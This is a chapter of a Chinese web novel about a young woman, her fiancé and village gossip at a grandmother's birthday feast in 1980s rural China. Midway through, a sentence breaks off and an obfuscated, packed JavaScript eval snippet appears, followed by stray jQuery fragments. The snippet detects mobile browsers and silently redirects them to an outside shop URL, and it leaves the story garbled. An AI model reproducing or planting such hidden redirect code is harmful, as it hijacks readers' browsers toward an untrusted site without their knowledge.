文趣网 > 其他小说 > 重生八零恶女文学 > 25. 一起拜寿
    张红梅也才刚到没多久,见青鱼跑过来,将手里的磕了一半的瓜子仁递给她,“刚刚去哪儿了啊,妈来了就找你,找了一圈没找到才去后厨帮忙了。”

    “陆川叫我去帮忙,之前一直和他在院子后边待着。”青鱼接过瓜子,随意找了个借口。

    望着青鱼微微泛红的脸颊,张红梅有些不满,“陆川怎么回事,有什么活不能自己干还要找你一个小姑娘帮手,快坐下歇一歇,应该马上开饭了。”

    “哎,男人嘛是这样的,让他们干点活拖拖拉拉的,赶一下动一下,酱油瓶倒了都不会弯腰的。”

    张红梅深以为然,“你姐夫也这样,他们在外边种地辛苦了,回家就想休息睡觉,有时候一天都说不了一句话。”

    青鱼笑了笑,“咱们干的少了吗,你和妈谁不是地里干完回家继续干,他们在外面累,但回家可以充大爷,我们是家里家外都陪着小心。要我说,男人长得高壮,力气大,就该多干。”

    “话不能这么说,夫妻之间要相互扶持,如果平日里眼睛只看着他少做了哪些,你多做了什么,算计来算计去还怎么过日子。”

    看着青鱼不以为然的样子,她笑了笑,“等你和陆川结婚后你就知道了。

    青鱼也笑,神色莫名。

    两人说话间,大龙突然找过来,想要拉她走,“找你半天,怎么坐这里,陆川让我带你去前边坐。”

    “去前边干嘛?”青鱼坐着没动。

    “来吧,你好不容易回来一趟,和大家聚一聚,就我们几个从小一起长大的,没有外人。

    青鱼真不觉得有什么好聚的,赵英姿,陆海民,卫党卫国,……那一堆人里面,只有大龙是她愿意交往的,“我不喜欢人多,等改天,你要是还有空,我请你吃饭。”

    “这……怎么好意思。”大龙的手在身侧无措的抚了抚。

    不知从哪天开始,就感觉青鱼看他的眼神格外温柔,总让他怀疑是他眼睛坏了,出现幻觉。

    就是这幻觉太频繁,每次见面她都会笑着和他讲话,不会像以前一样当他是空气,仿佛他是路边不起眼的土坷垃,连看他一眼都嫌多余。

    一起吃饭…两个人肯定比一堆人挤着要好啊。

    他不再劝说。

    偏屋下长凳上,几个妇女坐在一起择菜剥蒜,等着前头开席,手里的活不停,嘴也没闲着。村长媳妇刚从后厨出来,撩着蓝布围裙擦了擦手上的水。

    新媳妇翠娥对着张母夸赞青鱼,“婶,这个年岁的小姑娘,真是一天一个样,青鱼去了县城一个月,昨天要不是陆川骑车带着她,进村的时候我都不敢认,忒标志了。”

    张母嘴角是压不住的笑容,“哎呦,哪有你说的那么夸张,这个年纪的女孩子哪有不漂亮的,”她得意的瞅了边上刷碗的王素琴一眼,“英姿,玉芳也好看的啊。”

    这个王素琴年轻时候仗着自己是知青,看不起她们村里人,当年她就因为穿了件破屁股的裤子,被她笑话一天。

    后来回城政策一直不来,转头又嫁给他们村条件好的赵会计,生了二儿一女,四十多岁人了还跟个小姑娘似的涂脂抹粉的,也不嫌臊人。

    不就是城里人,多认识几个字儿,看给她拽的,眼睛都长到天上去了。

    俗话说女人前半生靠父母,后半生靠儿女,自己儿女不争气,没一个有出息的,后半生看她靠谁。

    女儿长得还行有什么用,不要脸追着男人屁股后面跑,结果人家陆川喜欢的是她们家青鱼,想想这事儿她都乐的不行。

    王素琴,就是赵英姿的母亲刷碗的动作一顿。

    心中极不痛快,说就说非要扯上她闺女,别看现在她们见面笑模笑样的,说不定背地里都在看她们家笑话,现在连张家这个以前村里最穷的破落户都能在她面前嘚瑟,真想把手里的丝瓜瓤塞她那张破嘴里,看她还敢不敢乱讲话。

    但她自认为是城里人,有家教,从不会和村里那些泼妇一样骂街,唾沫横飞,满地打滚,做出些不文明的举动。

    不过是斜斜一眼。

    但那极尽的蔑视,不屑与讽刺尽在这一眼中。

    张母没怎么上过学,说不出这目光中的含义,但好赖还是看的出,瞬间拳头硬了。

    翠娥是个机灵人,不去介入两人间的交锋,前面只是铺垫,她真正要恭维的另有其人,扭头对着村长媳妇笑的情真意切。

    “不止漂亮,心眼也好,之前我想给老子娘写封信,但咱们扫盲班学的字儿早都还给老师了,斗大的字认不了一筐,我就寻思找青鱼,县高中的高材生,人家听了一点不耽误,坐在煤油灯下给我写了满满两页,什么桃酥,烟叶子,我那些大白话都帮我写上去,写完又给我念了一遍。”

    村长媳妇不咸不淡的嗯了一声,“读那么多书有啥用,到头来还不是回村里种地?女孩子家,认几个字会算账就行了,早点嫁人过日子,比啥都强。”

    翠娥哽了一下,属实没想到马屁拍到马腿上,村长家对这个儿媳妇不怎么满意的样子啊,但看陆川又不像,昨天她在菜地浇水时,正看到两人一起回村,骑车时稍微颠簸一些的地方陆川都会绕过去,怕颠到后面的人,那样子可像是喜欢得紧。

    张母在旁边听的一清二楚,心中不痛快,自己女儿自己怎么说都行,但从别人口中说出来就格外刺耳。

    二大娘去上茅房回来,正好听见她们的交谈,忍不住插进来,“现在可不是运动那几年,自从政策变了,咱村多少知青为了回城又哭又闹,为了能回城,有的高考,有的离婚,是孩子也不要了,钱也不要了,还有偷跑的,扒火车的。”

    “读书要真没用的话,会有那么多人挤破头去高考?那知青都是傻子?”

    村长媳妇面色不变,声音淡淡的,“她们本来就是城里人,自然想回去,但我们就是农村人,女孩子家读的书多了,心也野了。女孩子家,最终不还是要嫁人守着日子过,就怕她眼界高了,瞧不上咱们这土里刨食的日子。”

    “都一个村的,从小看到大,你这说的什么话,青鱼在你心里是这种人?”

    村长媳妇笑笑没再接话,心里暗想,和一个外人有什么好说的,辩赢了也没好处,难道从古到今陈世美还少了,把人出钱出力培养出来,到时候人家吃饱喝足一抹嘴不认了,她们找谁哭去,还不如找个本本分分的姑娘。

    青鱼这丫头就是脸上乖,性子犟得很,怕没那么安分过日子,村里还有公社里同龄的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717313|207564||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    女孩子她最看中赵英姿,知根知底的,自己长相工作都不差,家里条件也好,对自己更是见面就笑,一口一个婶子的叫着,可惜那犟熊就是看不上。

    小儿子从小就主意正,别人越逼他他反抗更强烈,当时她和他爸叫他去上高中,碗口粗的棍子都打断了两根,他就死活不去,自己找人学拖拉机,青鱼的事儿也是如此。

    当初订婚,她是坚决不同意的,但天底下当爹娘的哪有犟得过子女的,他爸别看平时老是骂他,但心里其实最疼这个小儿子,后来半推半就同意了这门婚事。

    每次想起这事儿就后悔。

    男人们抽着旱烟唠嗑,说今年的收成、说公社的新农机,时不时哄笑一声,烟锅里的火星在暮色里一明一灭。

    堂屋正席只摆了两桌,陆川因已经工作所以和大人一起坐在堂屋,旁边是大姐陆雅一家人,老寿星陆奶奶坐在条案旁的太师椅上,头发梳的整整齐齐,面色和蔼,谁来拜寿都笑眯眯地给人发糖。

    等人少一些后,老人叫来陆川,“乖孙,青鱼怎么没和你一起,奶奶好久没见她了。”

    陆川握住她伸向自己的手,手心干暖却带着老人的沟壑,他轻声解释,“她在外边帮忙呢,你想见她我就叫她进来。”

    “好好,你快去,让她不要害羞,你们马上就结婚了,都是一家人。”

    陆川“嗯”了一声,在奶奶的催促声中起身走到屋外,环视一圈,很快找到她。

    她正在和她的大姐说着什么,眼尾弯成浅浅的月牙,眉眼舒展,眸光透亮,闪闪发光,忽然,垂在颊边的碎发扫过下颌,她抬手轻轻捋到耳后,手腕细白,带着少女特有的单薄,让人不觉心生把住丈量这宽度的冲动。

    青鱼察觉到对面人凝视的目光,敏锐的扭过头,但见陆川站在廊柱边,目光沉沉。

    她微微一愣,嘴角的弧度一点点缓和拉平。

    旁观她神态的转变,陆川的脚步停顿了半秒,随后不紧不慢的走过去,淡淡询问,“怎么坐这里?”

    “跟着我大姐坐的。”

    “前边给你们留了位置,大龙没带你们过去吗。”

    “来过,我让他走了,这里挺好的,坐哪里不都吃的一样席面。”她笑了笑。

    当然不一样,不同的位置代表的身份也不同,她佯做不懂。

    “奶奶说,想见你,跟我去看看她吧。”

    陆川有些沙哑的声音再次响起。

    青鱼忍不住抬头看他。

    当这样仔细观察后,才发现他似乎并没有如往常那般总是一副神采奕奕的模样。

    眼下浮着两团青黑,红血丝顺着眼白根根蔓延开,就像已经几天没有睡觉了。

    就像阳光下晒蔫的玉米秸,叶梢被卷得发枯发皱。

    她的手抠住掌心,“我不想去。”

    “她老人家从小疼你,难道就因为我们两个人之间的不愉快,你便要迁怒于此,连她七十整寿都不去看她?”

    当然不是,她是想等人散了之后单独去,而不是和陆川一起去,这样岂不是在所有人面前再次做实这件事。

    但陆川现在做出一副义正言辞的模样,仿佛她不去就是忘恩负义的小人,着实恼人。